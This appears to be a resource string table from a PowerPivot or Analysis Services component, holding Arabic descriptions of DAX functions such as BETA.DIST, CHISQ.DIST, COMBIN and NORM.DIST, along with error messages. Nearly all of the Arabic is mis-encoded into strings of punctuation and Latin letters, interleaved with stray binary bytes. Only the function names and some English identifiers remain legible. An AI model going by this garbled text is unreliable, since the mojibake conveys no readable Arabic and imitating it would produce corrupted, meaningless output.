'DEO/'1 HC*'(*G' %DI 'D/AB 'D#5DJ *CHF #-,'E 'D/AB :J1 E*3'HJ) -J+ JCHF -,E 'D/AB 'DEO/'1 %ld{sourceSize/} H-,E 'D/AB 'D#5DJ %ld{destSize/}�#+F'! ImageLoad EF FabricHost JO1,9 '3*/9'! 'D/'D) IDatabaseBackupReadStream::SizeRemaining() / IDatabaseBackupDownloader::GetTotalSize() -,E /AB C(J1K' DD:'J) HEC'A&K' D@ %ld{size/}.#*901 A*- (J'F'* PowerPivot 'DE6EF).%*901 *-EJD (J'F'* PowerPivot 'DE6EF).#*901 -A8 (J'F'* PowerPivot 'DE6EF).0-/+ .7# #+F'! *-/J+ (J'F'* PowerPivot ('3E ,/J/.3-/+ .7# #+F'! 'DH5HD %DI (J'F'* PowerPivot 'DE6EF).8-/+ .7# 9F/ %,1'! '3*9D'E %DI (J'F'* PowerPivot 'DE6EF).<*901 'D'*5'D ((J'F'* PowerPivot 'DE6EF) D@ '%{servername/}'.$-/+ .7# #+F'! %D:'! 'D9EDJ) 'D-'DJ).$%1,'9 'D*'1J. 'DE-// (*F3JB datetime'DJHE)9// J*1'H- (JF 1 H31 JE+D 'DJHE EF 'D4G1.'D4G1)9// J*1'H- (JF 1 H12 JE+D 'D4G1 EF 'D3F).'D9'E9// EF #1(9) #1B'E JE+D 'D3F),>%1,'9 9// 'DH-/'* ('DH-/) E-//) AJ 'DA'5D) (JF *'1J.J 'D%/.'D.PADate1'*'1J. (*F3JB datetime JE+D *'1J. 'D(/!.Date20*'1J. (*F3JB 'D*'1J. H'DHB* JE+D *'1J. 'D'F*G'!.'DA'5D&'DH-/) 'DE3*./E) D-3'( (JF 'D*'1J.JF.2D*-HJD *'1J. AJ 5H1) F5 %DI *'1J. (*F3JB datetime.
F5 'D*'1J.3D3D) F5J) *E+D *'1J.K'.1%1,'9 1BE J*1'H- EF 1 %DI 31 JE+D 'DJHE EF 'D4G1.'D*'1J.*'1J. (*F3JB datetime.H%1,'9 'D*'1J. 'D0J J9*(1 9// 'D4GH1 'DE4'1 %DJG B(D *'1J. 'D(/! #H (9/G.4GH1"9// 'D4GH1 B(D start_date #H (9/G.	StartDate'*'1J. (*F3JB datetime JE+D *'1J. 'D(/!.O%1,'9 'D*'1J. (*F3JB datetime D".1 JHE EF 'D4G1 B(D 9// E-// EF 'D#4G1 #H (9/G.4GH1"9// 'D#4G1 B(D start_date #H (9/G.	StartDate*'1J. 'D(/! (*F3JB datetime.9%1,'9 'D3'9) AJ 5H1) 9// EF 0 (12:00 5) %DI 23 (11:00 E).Datetime;BJE) datetime #H F5 (*F3JB 2EFJ E+D 16:48:00 #H 4:48:00 E.#%1,'9 9// EF 0 %DI 59 JE+D 'D/B'&B.Datetime;BJE) datetime #H F5 (*F3JB 2EFJ E+D 16:48:00 #H 4:48:00 E.2%1,'9 9// EF 1 (JF'J1) %DI 12 (/J3E(1) JE+D 'D4G1.'D*'1J.*'1J. (*F3JB datetime..%1,'9 'DHB* H'D*'1J. 'D-'DJJF (*F3JB datetime.#%1,'9 9// EF 0 %DI 59 JE+D 'D+H'FJ.Datetime@'DHB* (*F3JB datetime #H (*F3JB 2EFJ E+D 16:48:23 #H 4:48:47 E.G*-HJD 'D3'9'* H'D/B'&B H'D+H'FJ 'DE-//) C#9/'/ %DI HB* (*F3JB datetime.3'9)$9// J*1'H- EF 0 %DI 23 JE+D 'D3'9'*./BJB)$1BE J*1'H- EF 0 %DI 59 JE+D 'D/B'&B.+'FJ)$1BE J*1'H- EF 0 %DI 59 JE+D 'D+H'FJ.-*-HJD HB* (*F3JB F5J %DI HB* (*F3JB datetime.TimeTextHJ*E *,'GD 'D3D3D) 'DF5J) 'D*J *97J E9DHE'* 9F 'DHB* H'D*'1J. AJ 'D3D3D).%%1,'9 'D*'1J. 'D-'DJ (*F3JB datetime.l%1,'9 'D*'1J. H'DHB* 'D-'DJJF (*F3JB 'D*'1J. H'DHB* 'D0J J*E 'D*9(J1 9FG ('D*HBJ* 'D9'DEJ 'DE*AB 9DJG (UTC).c%1,'9 'D*'1J. 'D-'DJ (*F3JB 'D*'1J. H'DHB* 'D0J J*E 'D*9(J1 9FG ('D*HBJ* 'D9'DEJ 'DE*AB 9DJG (UTC).PA*%1,'9 9// EF 1 %DI 7 J91QA #3(H9 *'1J. E'.'D*'1J.*'1J. (*F3JB datetime.
ReturnType�1BE J-// BJE) 'D%1,'9: EF Sunday=1 -*I 'D3(*=7 '3*./E 'D1BE 1 D#J'E EF Monday=1 -*I Sunday=7 '3*./E 'D1BE 2 DD#J'E EF Monday=0 -*I Sunday=6 '3*./E 'D1BE 3.%1,'9 1BE 'D#3(H9 AJ 'D9'E.'D*'1J.*'1J. (*F3JB datetime.
ReturnTypev1BE J-// BJE) 'D%1,'9: '3*./E 'D1BE 1 9F/E' J(/# 'D#3(H9 (JHE 'D#-/ #H '3*./E 'D1BE 2 9F/E' J(/# 'D#3(H9 (JHE 'D#+FJF..%1,'9 9'E *'1J. C9// 5-J- ECHF EF #1(9) #1B'E.'D*'1J.*'1J. (*F3JB datetime.R%1,'9 C31 'D3F) 'D0J JE+D 9// 'D#J'E 'DC'ED) (JF *'1J. start_date H*'1J. end_date.'D#3'3$FH9 #3'3 9// 'D#J'E 'DE1'/ '3*./'EG.EndDate*'1J. 'D'F*G'! (*F3JB datetime.	StartDate*'1J. 'D(/! (*F3JB datetime.5J,E9 E,EH9) E-//) EF 'DEO9'ED'* ('3*./'E EO-/P/ E9JF.'DE-/P/2EO-/P/ J*E '3*./'EG D1(7 'D*9(J1'* AJ 3D3D) H'-/).Expression1?'D*9(J1 'D#HD 'DE7DH( *BJJEG H1(7G (3D'3D #.1I ('3*./'E 'DA'5D.Expression2@'D*9(J1 'D+'FJ 'DE7DH( *BJJEG H1(7G (3D'3D #.1I ('3*./'E 'DA'5D.B%1,'9 TRUE %0' C'F JH,/ 9DI 'D#BD 5A H'-/ *E *9JJF CD 'D#9E/) AJG.
ColumnName&9EH/ AJ ,/HD 'D%/.'D #H AJ ,/HD E1*(7,'D,/HD'D,/HD 'DE1'/ '.*('1G.'DBJE)$*9(J1 1BEJ E1'/ 'D(-+ 9FG AJ 'D9EH/.B%1,'9 TRUE %0' C'F JH,/ 9DI 'D#BD 5A H'-/ *E *9JJF CD 'D#9E/) AJG.'D,/HD'D,/HD 'DE1'/ '.*('1G.'DBJE).*9(J1 1BEJ E7DH( 'D(-+ 9FG AJ 'D9EH/ 'DE*H'AB.N%1,'9 BJE) .'5J) 3D3D) '*5'D CustomData 9F/ 'D*-/J/ H%D' A3J*E %1,'9 BLANK().&J9ED 9DI 71- .7# E-// (H'37) 'DE3*./E.	ErrorTextF5 'D.7# 'DE7DH( 71-G.)'3*/9'! 'D*9(J1 'D.'1,J EF E5/1 'D(J'F'*.
E5/1 'D(J'F'*6'3E E5/1 'D(J'F'* 'D.'1,J 'D0J J9ED 9DI *FAJ0 'D*9(J1.'D*9(J1,'D*9(J1 'DE7DH( *BJJEG EF E5/1 (J'F'* .'1,J.'DFH9'3E FH9 E7DH( %B1'FG ('D*9(J1.)'3*/9'! 'DEBJ'3 'D.'1,J EF E5/1 'D(J'F'*.
E5/1 'D(J'F'*6'3E E5/1 'D(J'F'* 'D.'1,J 'D0J J9ED 9DI *FAJ0 'DEBJ'3.MeasureName1C'&F 'DEBJ'3 'DE7DH( *BJJEG EF E5/1 (J'F'* .'1,J.'DFH9'3E FH9 E7DH( %B1'FG ('DEBJ'3.<%1,'9 'DE-*HI 'DE*HA1 (9FH'F url 'DE*HA1 HFH9 'D%1,'9 +F'&J.9FH'F URL DD5H1) 'D'A*1'6J)URL DD5H1) 'D'A*1'6J).9FH'F URL DD5H1)URL DD5H1).I%1,'9 true %0' C'F 'D,/HD #H 'D9EH/ 'DE-// J4*ED 9DI 9'ED *5AJ) H'-/ AB7.
ColumnNamePA*'D9EH/ 'D0J J*-BB EF E9DHE'* 9'ED 'D*5AJ).4%1,'9 true AJ -'D) H,H/ BJE) H'-/) AJ 'D9EH/ 'DE-//.
ColumnName*'D9EH/ 'D0J J*-BB EF E9DHE'* 9'ED 'D*5AJ).7DD*-BB EE' %0' C'F* 'DBJE) A'1:) H%1,'9 TRUE #H FALSE.'DBJE)'DBJE) 'D*J *1J/ '.*('1G'.I%1,'9 true AJ -'D) %,1'! *5AJ) E*B'79) 9DI E3*HI 'D,/HD #H 'D9EH/ 'DE-//.TableNameOrColumnName<'D9EH/ #H 'D,/HD 'DE7DH( 'D*-BB EF E9DHE'* 9'ED 'D*5AJG AJG.F%1,'9 BJE) 5-J-) DD*-BB EE' %0' C'F* 'DBJE) .7# H%1,'9 TRUE #H FALSE.'D,/HD'D,/HD #H ,/HD-*9(J1.;DD*-BB EE' %0' C'F* 'DBJE) 9//K' HJ*1*( 9DJG TRUE #H FALSE,'DBJE)'DBJE) 'D*J *1J/ '.*('1G'.PA?%1,'9 TRUE %0' C'F 'D9// 2H,JK' #H FALSE %0' C'F 'D9// A1/JK'.1BEE'DBJE) 'DE7DH( '.*('1G'. %0' C'F 'D9// DJ3 9//K' 5-J-K' J*E 'B*7'9G.B%1,'9 BJE) 5-J-) AJ -'D) H,H/ 9H'ED *5AJ) E('41) AJ 'D9EH/ 'DE-//.TableNameOrColumnName<'D,/HD #H 'D9EH/ 'DE7DH( 'D*-BB EF E9DHE'* 9'ED 'D*5AJG AJG.E%1,'9 5H'( 9F/E' JE+D 'D9EH/ 'DE-// 'DE3*HI AJ *3D3D G1EJ EF E3*HJ'*.
ColumnName
9EH/ 'DE3*HI.SDD*-BB EE' %0' C'F* 'DBJE) *9*(1 BJE) EF7BJ) (TRUE #H FALSE) H%1,'9 TRUE #H FALSE.'DBJE)'DBJE) 'D*J *1J/ '.*('1G'.[DD*-BB EE' %0' C'F* 'DBJE) :J1 F5J) (D' *9*(1 'D.D'J' 'D.'DJ) F5JK') H%1,'9 TRUE #H FALSE.'DBJE)'DBJE) 'D*J *1J/ '.*('1G'.;DD*-BB EE' %0' C'F* 'DBJE) 9//K' HJ*1*( 9DJG TRUE #H FALSE.PA'DBJE)'DBJE) 'D*J *1J/ '.*('1G'.?%1,'9 TRUE %0' C'F 'D9// A1/JK' #H FALSE %0' C'F 'D9// 2H,JK'.1BEE'DBJE) 'DE7DH( '.*('1G'. %0' C'F 'D9// DJ3 9//K' 5-J-K' J*E 'B*7'9G.V%1,'9 TRUE %0' C'F 'D5A 'D-'DJ J4*ED 9DI %,E'DJ A19J D9EH/ E-// H%D' 3J*E %1,'9 FALSE.
ColumnName'D9EH/ 'D0J *1J/ '.*('1G.6DD*-BB EE' %0' C'F* 'DBJE) F5J) H%1,'9 TRUE #H FALSE.'DBJE)'DBJE) 'D*J *1J/ '.*('1G'.J$/J %DI %1,'9 +B'A) 'DE3*./E.O%1,'9 '3E 'DF7'B H'3E 'DE3*./E DD'*5'D 'D-'DJ ('D*F3JB '3E 'DE,'D\'3E 'DE3*./E.{J9ED 9DI %1,'9 E91A 'DC'&F DDE3*./E 'D-'DJ EF Azure AD D@ Azure Analysis Server HSID DDE3*./E 'D-'DJ D.'/E 'D*-DJD 'D/'.DJ.$J9ED 9DI %1,'9 '3E 'DE3*./E 'D#3'3J.ODD*-BB EE' %0' C'F* C'A) 'DH3J7'* TRUE H%1,'9 TRUE %0' C'F* ,EJ9 'DH3J7'* TRUE.PALogical1"'DBJE 'DEF7BJ) 'D*J *1J/ '.*('1G'.Logical2"'DBJE 'DEF7BJ) 'D*J *1J/ '.*('1G'.%1,'9 'DBJE) 'DEF7BJ) FALSE.TDD*-BB EF 'D%JA'! ('D41H7 H%1,'9 BJE) H'-/) %0' C'F TRUE HBJE) #.1I %0' C'F FALSE.LogicalTest/#J BJE) #H *9(J1 JECF *BJJEG %DI TRUE #H FALSE.
ResultIfFalseX'DBJE) 'D*J J*E %1,'9G' %0' C'F 'D'.*('1 'DEF7BJ FALSE HAJ -'D) -0AG' J*E %1,'9 FALSE.ResultIfTrueV'DBJE) 'D*J J*E %1,'9G' %0' C'F 'D'.*('1 'DEF7BJ TRUE HAJ -'D) -0AG' J*E %1,'9 TRUE.R%1,'9 value_if_error %0' C'F 'D*9(J1 'D#HD .7# HC'F* BJE) 'D*9(J1 FA3G' (.D'A 0DC.'DBJE)#J BJE) #H *9(J1.ValueIfError#J BJE) #H *9(J1.3J*1*( 9DJG *:JJ1 FALSE %DI TRUE #H TRUE %DI FALSE.EF7BJ,BJE) #H *9(J1 JECF *BJJEG %DI TRUE #H FALSE.P%1,'9 TRUE %0' C'F #J EF 'DH3'&7 TRUE H%1,'9 FALSE %0' C'F* ,EJ9 'DH3'&7 FALSE.Logical1"'DBJE 'DEF7BJ) 'D*J *1J/ '.*('1G'.Logical2"'DBJE 'DEF7BJ) 'D*J *1J/ '.*('1G'.+%1,'9 F*'&, E.*DA) '3*F'/K' %DI BJE) *9(J1..D'A 0DC8AJ -'D) 9/E H,H/ BJE E7'(B) J*E %1,'9 'DBJE) ".D'A 0DC".*9(J1'D*9(J1 'DE7DH( *BJJEG.'DF*J,);'DF*J,) 'D*J J*E %1,'9G' %0' '4*ED 'D*9(J1 9DI BJE) E7'(B).'DBJE)>%0' '4*ED 'D*9(J1 9DI G0G 'DBJE) A3J*E %1,'9 'DF*J,) 'DE7'(B).%1,'9 'DBJE) 'DEF7BJ) TRUE.%1,'9 'DBJE) 'DE7DB) D1BE.1BE"'D9// 'D0J *1J/ 'DBJE) 'DE7DB) DG.�%1,'9 BH3 ,J( *E'E 'D2'HJ) #H ,J( 'D*E'E 'DE9CH3 D9//. BH3 ,J( *E'E 'D2'HJ) GH 'D2'HJ) 'D*J JCHF ,J( 'D*E'E DG' 9//K'. J*E *HAJ1 'D2'HJ) 'D*J *E %1,'9G' C*B/J1'* /'&1J) 6EF 'DF7'B 0 (5A1) %DI ('J.1BE6,J( *E'E 'D2'HJ) 'D*J *1J/G' HJ,( #F JCHF EF -1 %DI 1.�%1,'9 ,J( 'D*E'E 'D0'&/J 'DE9CH3 D9//. J,( #F JCHF 'D9// #C(1 EF 1 #H J3'HJG. ,J( 'D*E'E 'D0'&/J 'DE9CH3 GH 'DBJE) 'D*J *CHF ,J( 'D*E'E 'D0'&/J DG' 9//K' DG0' ACOSH(COSH(number)) J3'HJ 9//K'.1BE!#J 9// -BJBJ J3'HJ 1 #H #C(1 EFG.?%1,'9 BJE) #3'3J) DBH3 8D 'D*E'E #H 8D'D 'D*E'E 'DE9CH3 #H 9//.1BEH'D9// GH 8D'D 'D*E'E DD2'HJ) 'D*J *1J/G'. J,( #F JCHF G0' 9//K' -BJBJK'.'%1,'9 8D'D 'D*E'E 'D0'&/J 'DE9CH3 D9//.1BE+J,( #F *CHF 'DBJE) 'DE7DB) DD9// #C(1 EF 1.�%1,'9 BH3 ,J( 'D2'HJ) #H 'D,J( 'DE9CH3 D9//. BH3 ,J( 'D2'HJ) GH 'D2'HJ) 'D*J JCHF ,J( 'D2'HJ) DG' 9//K'. J*E *HAJ1 'D2'HJ) 'D*J *E %1,'9G' C*B/J1'* /'&1J) 6EF 'DF7'B -('J/2 %DI ('J/2.1BE9,J( 'D2'HJ) DD2'HJ) 'D*J *1J/G' HJ,( #F JCHF EF -1 %DI 1.�%1,'9 'D,J( 'D0'&/J 'DE9CH3 D9//. 'D,J( 'D0'&/J 'DE9CH3 GH 'DBJE) 'D*J JCHF ,J( 'D2'HJ) 'D2'&/J DG' 9//K' DG0' ASINH(SINH(number)) J3'HJ 9//K'.1BE
#J 9// -BJBJ.�%1,'9 BH3 8D 'D2'HJ) #H 8D 'D2'HJ) 'DE9CH3 D9//. BH3 8D 'D2'HJ) GH 'D2'HJ) 'D*J JCHF 8D 'D2'HJ) DG' 9//K'. J*E *HAJ1 'D2'HJ) 'D*J *E %1,'9G' C*B/J1'* /'&1J) 6EF 'DF7'B -('J/2 %DI ('J/2.1BE  8D 'D2'HJ) DD2'HJ) 'D*J *1J/G'.�%1,'9 8D 'D2'HJ) 'D0'&/J 'DE9CH3 D9//. J,( #F JB9 'D9// (JF -1 H1 (('3*+F'! -1 H1). 8D 'D2'HJ) 'D0'&/J 'DE9CH3 GH 'DBJE) 'D*J JCHF 8D 'D2'HJ) 'D2'&/J DG' 9//K' DG0' ATANH(TANH(number)) J3'HJ 9//K'.1BE#J 9// -BJBJ (JF 1 H-1.�%1,'9 'D*H2J9 (J*'. J4J9 '3*./'E 'D*H2J9 (J*' D/1'3) 'D*:J1 AJ 'DF3() 'DE&HJ) D:16 E' 9(1 'D9JF'* E+D 'D,2! .D'D 'DJHE 'D0J JB6JG 'D#4.'5 AJ E4'G/) 'D*DA2JHF.APA'D-/ 'D3ADJ DDA'5D 'D2EFJ 3.#DA'E9DE) 'D*H2J9.B'D-/ 'D9DHJ DDA'5D 'D2EFJ 3.(J*'E9DE) 'D*H2J9.*1'CEJ�BJE) EF7BJ) *-// 4CD 'D/'D). %0' C'F* 'DBJE) 'D*1'CEJ) GJ TRUE *9ED BETA.DIST 9DI %1,'9 /'D) 'D*H2J9 'D*1'CEJ HAJ -'D) FALSE J*E %1,'9 /'D) C+'A) 'D'-*E'D.X,'DBJE) (JF A HB 'D*J J*E *BJJE 'D/'D) 9F/G'.�%1,'9 9C3 /'D) C+'A) 'D'-*E'D 'D*1'CEJ) (J*' (BETA.DIST). %0' C'F 'D'-*E'D = BETA.DIST(x,...TRUE) A%F BETA.INV(probability,...) = x. JECF '3*./'E 'D*H2J9 (J*' AJ *.7J7 'DE41H9 DFE0,) #HB'* 'D%CE'D 'DE-*ED) (F'!K 9DI HB* %C*E'D HE*:J1J) E*HB9).A'D-/ 'D3ADJ DDA'5D 'D2EFJ 3.#DA'E9DE) 'D*H2J9.PAB'D-/ 'D9DHJ DDA'5D 'D2EFJ 3.(J*'E9DE) 'D*H2J9.'-*E'D'-*E'D E1*(7 (*H2J9 (J*'.2*B1J( 9// D#B1( 9// 5-J- #H D#B1( H-/) 0'* /D'D).1BE'DBJE) 'D*J *1J/ *B1J(G'.1BE DG /D'D)%'D1BE 'DE6'9A 'D0J *1J/ 'D*B1J( %DJG.�%1,'9 *H2J9 C'J *1(J9. J*E '3*./'E *H2J C'J *1(J9 (4CD 4'&9 D/1'3) 'DA1B AJ F3() 4J! E' 9(1 9JF'* E+D A*1'* 'DJHE 'D*J JB6JG' 'D#4.'5 AJ E4'G/) 'D*DA2JHF.*1'CEJ�BJE) EF7BJ) *-// 4CD 'D/'D). %0' C'F* 'DBJE) 'D*1'CEJ) TRUE *9ED CHISQ.DIST 9DI %1,'9 /'D) 'D*H2J9 'D*1'CEJ H%0' C'F* ('DBJE) FALSE *9ED 9DI %1,'9 /'D) C+'A) 'D'-*E'D.Deg_freedom9// /1,'* 'D-1J).X%'DBJE) 'D*J 9F/G' *1J/ *BJJE 'D*H2J9.W%1,'9 'D'-*E'D 0J 'D71A 'D#JEF D*H2J9 C'J *1(J9. J1*(7 *H2J9 C'J *1(J9 ('.*('1 C'J *1(J9. '3*./E '.*('1 C'J *1(J9 DEB'1F) 'DBJE 'DED-H8) H'DE*HB9). 9DI 3(JD 'DE+'D B/ *A*16 *,1() ,JFJ) #F 'D,JD 'D*'DJ EF 'DF('*'* 3J8G1 (G E,EH9) EF 'D#DH'F 'DE9JF). (EB'1F) 'DF*'&, 'DED-H8) E9 'DF*'&, 'DE*HB9) JECFC *-/J/ E' %0' C'F* 'DA16J'* 'D#5DJ) 5J-J).Deg_freedom9// /1,'* 'D-1J).X%'DBJE) 'D*J 9F/G' *1J/ *BJJE 'D*H2J9.�%1,'9 9C3 'D'-*E'D 0J 'D71A 'D#J31 D*H2J9 C'J *1(J9. J*E '3*./'E *H2J9 C'J *1(J9 (4CD 4'&9 D/1'3) 'DA1B AJ F3() 4J! E' 9(1 9JF'* E+D A*1'* 'DJHE 'D*J JB6JG' 'D#4.'5 AJ E4'G/) 'D*DA2JHF.Deg_freedom9// /1,'* 'D-1J).'-*E'D'-*E'D E1*(7 (*H2J9 C'J *1(J9.�%1,'9 9C3 'D'-*E'D 0J 'D71A 'D#J31 D*H2J9 C'J *1(J9. %0' C'F 'D'-*E'D = CHISQ.DIST.RT(x,...) A%F CHISQ.INV.RT(probability,...) = x. '3*./E G0G 'D/'D) DEB'1F) 'DF*'&, 'DED-H8) E9 'DF*'&, 'DE*HB9) (G/A *-/J/ #J EF A16J'*C 'D#5DJ) 5-J-.Deg_freedom9// /1,'* 'D-1J).'-*E'DPA'-*E'D E1*(7 (*H2J9 C'J *1(J9.q%1,'9 9// 'DE,EH9'* D9// E9JF EF 'D9F'51. '3*./E COMBIN D*-/J/ %,E'DJ 9// 'DE,EH9'* 'DE-*ED D9// E9JF EF 'D9F'51.1BE9// 'D9F'51.
Number_chosen9// 'D9F'51 AJ CD E,EH9).9%1,'9 9// 'D*H'ABJ'* (E9 'D*C1'1'*) D9// E9JF EF 'D9F'51.1BEbJ,( #F JCHF #C(1 EF 0 #H J3'HJG H#C(1 EF Number_chosen #H J3'HJG. J*E 'B*7'9 'DBJE D9// :J1 5-J-.
Number_chosen@J,( #F JCHF #C(1 EF 0 #H J3'HJG. J*E 'B*7'9 'DBJE D9// :J1 5-J-.3%1,'9 A'5D 'D+B) DE*H37 E-*HI ('3*./'E *H2J9 9'/J.#DA'�E3*HI 'D#GEJ) 'DE3*./E D-3'( E3*HI 'D+B). E3*HI 'D+B) J3'HJ 100*(1 - alpha)% #H (9('1) #.1I J4J1 #DA' 0.05 %DI 95 ('DE'&) EF E3*HI 'D+B).'D-,E-,E 'D9JF).PAStandard_devK'D'F-1'A 'DE9J'1J DDE-*HI EF #,D F7'B 'D(J'F'* HEF 'DEA*16 #F JCHF E91HAK'.7%1,'9 A'5D 'D+B) DE*H37 E-*HI ('3*./'E *H2J9 t DD7'D(.#DA'�E3*HI 'D#GEJ) 'DE3*./E D-3'( E3*HI 'D+B). E3*HI 'D+B) J3'HJ 100*(1 - alpha)% #H (9('1) #.1I J4J1 #DA' 0.05 %DI 95 ('DE'&) EF E3*HI 'D+B).'D-,E-,E 'D9JF).Standard_devK'D'F-1'A 'DE9J'1J DDE-*HI EF #,D F7'B 'D(J'F'* HEF 'DEA*16 #F JCHF E91HAK'.!%1,'9 ,J( 'D*E'E DD2'HJ) 'DE-//).1BEC'D2'HJ) ('D*B/J1'* 'D/'&1J) 'D*J *1:( AJ 'D-5HD 9DI ,J( 'D*E'E DG'.%1,'9 ,J( 'D*E'E 'D2'&/J D9//.1BE6#J 9// -BJBJ *1:( AJ 'D9+H1 9DI ,J( 'D*E'E 'D2'&/J DG.2%1,'9 8D'D 'D*E'E D2'HJ) E-//) AJ 'D*B/J1 'D/'&1J.1BED'D2'HJ) ('D*B/J1'* 'D/'&1J) 'D*J *1:( AJ 'D-5HD 9DI 8D'D 'D*E'E DG'.,%1,'9 8D'D 'D*E'E 'D0'&/J) %DI 2'HJ) 2'&/J).1BE
#J 9// -BJBJ.%1,'9 'DBJE) CFH9 (J'F'* 9ED).'DBJE)1%1,'9 *9(J1 1BEJ DJ*E *-HJDG %DI FH9 (J'F'* 9ED). *-HJD 'D*B/J1 'D/'&1J %DI /1,'*.1BE1'D2'HJ) ('D*B/J1'* 'D/'&1J) 'D*J *1:( AJ *-HJDG'.�%1,'9 9// EB1( %DI #B1( 1BE 5-J- 2H,J. JECFC '3*./'E G0G 'D/'D) DE9'D,) 'D9F'51 'DE*HA1) (4CD +F'&J. 9DI 3(JD 'DE+'D 5F/HB *9(&) JB(D 5AHA 9F51 H'-/ #H 9F51JF. JCHF 'D5F/HB EE*D&K' 9F/E' JCHF 9// 'D9F'51 'DEB1( %DI #B1( '+FJF E7'(BK' D39) 'D5F/HB.1BE'DBJE) 'DE7DH( *B1J(G'.!%1,'9 e 'DE1AH9) %DI #3 1BE E9JF.1BE]'D#3 'DE7(B 9DI 'D#3'3 e. 'D9// 'D+'(* e J3'HJ 2.71828182845904 HGH #3'3 'DDH:'1J*E 'D7(J9J.�%1,'9 'D*H2J9 'D#3J. '3*./E EXPON.DIST DFE0,) 'DHB* (JF 'D#-/'+ E+D 'DA*1) 'D*J *3*:1BG' E'CJF) 'D51'A 'D"DJ D*HAJ1 'DE'D. 9DI 3(JD 'DE+'D JECFC '3*./'E EXPON.DIST D*-/J/ '-*E'D '3*:1'B 'D9EDJ) /BJB) H'-/) 9DI 'D#C+1.*1'CEJ�BJE) EF7BJ) *4J1 %DI 4CD 'D/'D) 'D#3J) 'DE7DH( *HAJ1G'. %0' C'F* BJE) 'D*1'CEJ) TRUE *9ED EXPON.DIST 9DI %1,'9 /'D) *H2J9 'D*1'CEJ %0' C'F* FALSE *9ED 9DI %1,'9 /'D) C+'A) 'D'-*E'D.Lambda
BJE) 'DE9DE).XBJE) 'D/'D).6%1,'9 9'ED 'D61( D1BE HGH E3'HM %DI 1*2*3*...* 'D1BE.1BE*'D1BE :J1 'D3'D( 'D0J *1J/ E91A) 9'ED 61(..*B1J( 1BE %DI 'D5A1 %DI #B1( E6'9A DG /D'D).1BE'D9// 'D0J *1J/ *B1J(G.1BE DG /D'D)m'DE6'9A 'D0J *1J/ 'D*B1J( %DJG. J,( #F JCHF 'D1BE 'D9'/J H'D1BE 'D0J DG /D'D) CD'GE' EH,(K' #H CD'GE' 3'D(K'.~%1,'9 #C(1 9'ED B3E) E4*1C D9//JF 5-J-F. #C(1 9'ED B3E) E4*1C GH #C(1 9// 5-J- J9ED 9DI B3E) CD EF number1 Hnumber2 (/HF ('BJ.Number17J*E 'B*7'9 'D1BE 'D#HD %0' DE *CF 'DBJE) 9//K' 5-J-K'.Number28J*E 'B*7'9 'D1BE 'D+'FJ %0' DE *CF 'DBJE) 9//K' 5-J-K'.*B1J( 1BE %DI #B1( 9// 5-J-.1BE$'D1BE 'D0J *1J/ *B1J(G %DI 9// 5-J-.A*B1J( 1BE DD#9DI #H %DI #B1( 9// 5-J- #H %DI #B1( E6'9A DG /D'D).1BE'DBJE) 'D*J *1J/ *B1J(G'.1BE DG /D'D)%'D1BE 'DE6'9A 'D0J *1J/ 'D*B1J( %DJG.�%1,'9 #BD E6'9A #9/'/ 5-J-) E4*1C. #BD E6'9A E4*1C GH #5:1 9// 5-J- EH,( E6'9A CD EF 'DH3J7'* 'D5-J-) number1 number2. '3*./E LCM D%6'A) C3H1 (EB'E'* E.*DA).Number17J*E 'B*7'9 'D1BE 'D#HD %0' DE *CF 'DBJE) 9//K' 5-J-K'.Number28J*E 'B*7'9 'D1BE 'D+'FJ %0' DE *CF 'DBJE) 9//K' 5-J-K'.%1,'9 'DDH:'1J*E 'D7(J9J D1BE.1BE-'D1BE 'DEH,( 'D0J *1J/ 'DDH:'1J*E 'D7(J9J DG.$%1,'9 DH:'1J*E 1BE BE* (*-/J/ #3'3G.'D#3'3#3'3 'DDH:'1J*E %0' #GED 10.1BE%'D1BE 'DEH,( 'D0J *1J/ 'DDH:'1J*E DG.%1,'9 DH:'1J*E 0J #3'3 10 D1BE.1BE4'D1BE 'DEH,( 'D0J *1J/ E91A) DH:'1J*EG 0J 'D#3'3 10.'%1,'9 'D('BJ (9/ B3E) 'D1BE 9DI 'DB'3E.'DB'3E'D1BE 'D0J *1J/ 'DB3E) 9DJG.1BE8'D1BE 'D0J *1J/ E91A) 'D('BJ EFG (9/ %,1'! 9EDJ) 'DB3E).#%1,'9 1BE EB1( %DI 'DE6'9A 'DE7DH(.E*9//#'DE6'9A 'D0J *1J/ *B1J( 'D1BE %DJG.1BE'DBJE) 'DE7DH( *B1J(G'.9%1,'9 'D*H2J9 'D9'/J DDE*H37 H'D'F-1'A 'DE9J'1J 'DE-//JF.*1'CEJ�BJE) EF7BJ) *-// 4CD 'D/'D). %0' C'F* 'DBJE) 'D*1'CEJ) GJ TRUE J*E %1,'9 /'D) 'D*H2J9 'D*1'CEJ 9(1 NORM.DIST HAJ -'D) FALSE J*E %1,'9 /'D) 'D'-*E'D'* :J1 'D*1'CEJ).E*H37'DH37 'D-3'(J DD*H2J9.Standard_dev'D'F-1'A 'DE9J'1J DD*H2J9.X('DBJE) 'D*J *1J/ 'D-5HD 9DI 'D*H2J9 DG'.F%1,'9 9C3 'D*H2J9 'D*1'CEJ 'D9'/J DDE*H37 H'D'F-1'A 'DE9J'1J 'DE-//JF.E*H37'DH37 'D-3'(J DD*H2J9.'-*E'D '-*E'D J*H'AB E9 'D*H2J9 'D9'/J.Standard_dev'D'F-1'A 'DE9J'1J DD*H2J9.T%1,'9 'D*H2J9 'DBJ'3J 'D9'/J (DG E*H37 ('DBJE) 5A1 H'D'F-1'A 'DE9J'1J ('DBJE) H'-/).*1'CEJ�'DBJE) 'D*1'CEJ) GJ BJE) EF7B) *-// 4CD 'D/'D). %0' C'F* 'DBJE) 'D*1'CEJ) GJ TRUE J*E %1,'9 /'D) 'D*H2J9 'D*1'CEJ 9(1 NORMS.DIST HAJ -'D) FALSE J*E %1,'9 /'D) 'D'-*E'D'* :J1 'D*1'CEJ).*('DBJE) 'D*J *1J/ 'D-5HD 9DI 'D*H2J9 DG'.r%1,'9 9C3 'D*H2J9 'D*1'CEJ 'DE9J'1J 'D7(J9J. J-*HJ 'D*H2J9 9DI E*H37 J3'HJ 'DBJE) 5A1 H'F-1'A E9J'1J ('DBJE) H'-/.'-*E'D '-*E'D J*H'AB E9 'D*H2J9 'D9'/J.&%1,'9 9// EB1( %DI #B1( 1BE 5-J- A1/J.PA1BE'DBJE) 'DE7DH( *B1J(G'.'%1,'9 9// 'D*('/JD D9// E9JF EF 'DC'&F'* 'D*J JECF *-/J/G' EF 9// 'DC'&F'*. 'D*(/JD GH #J E,EH9) EF 'DC'&F'* #H 'D#-/'+ #H E,EH9) A19J) EFG' JCHF *1*J(G' 'D/'.DJ 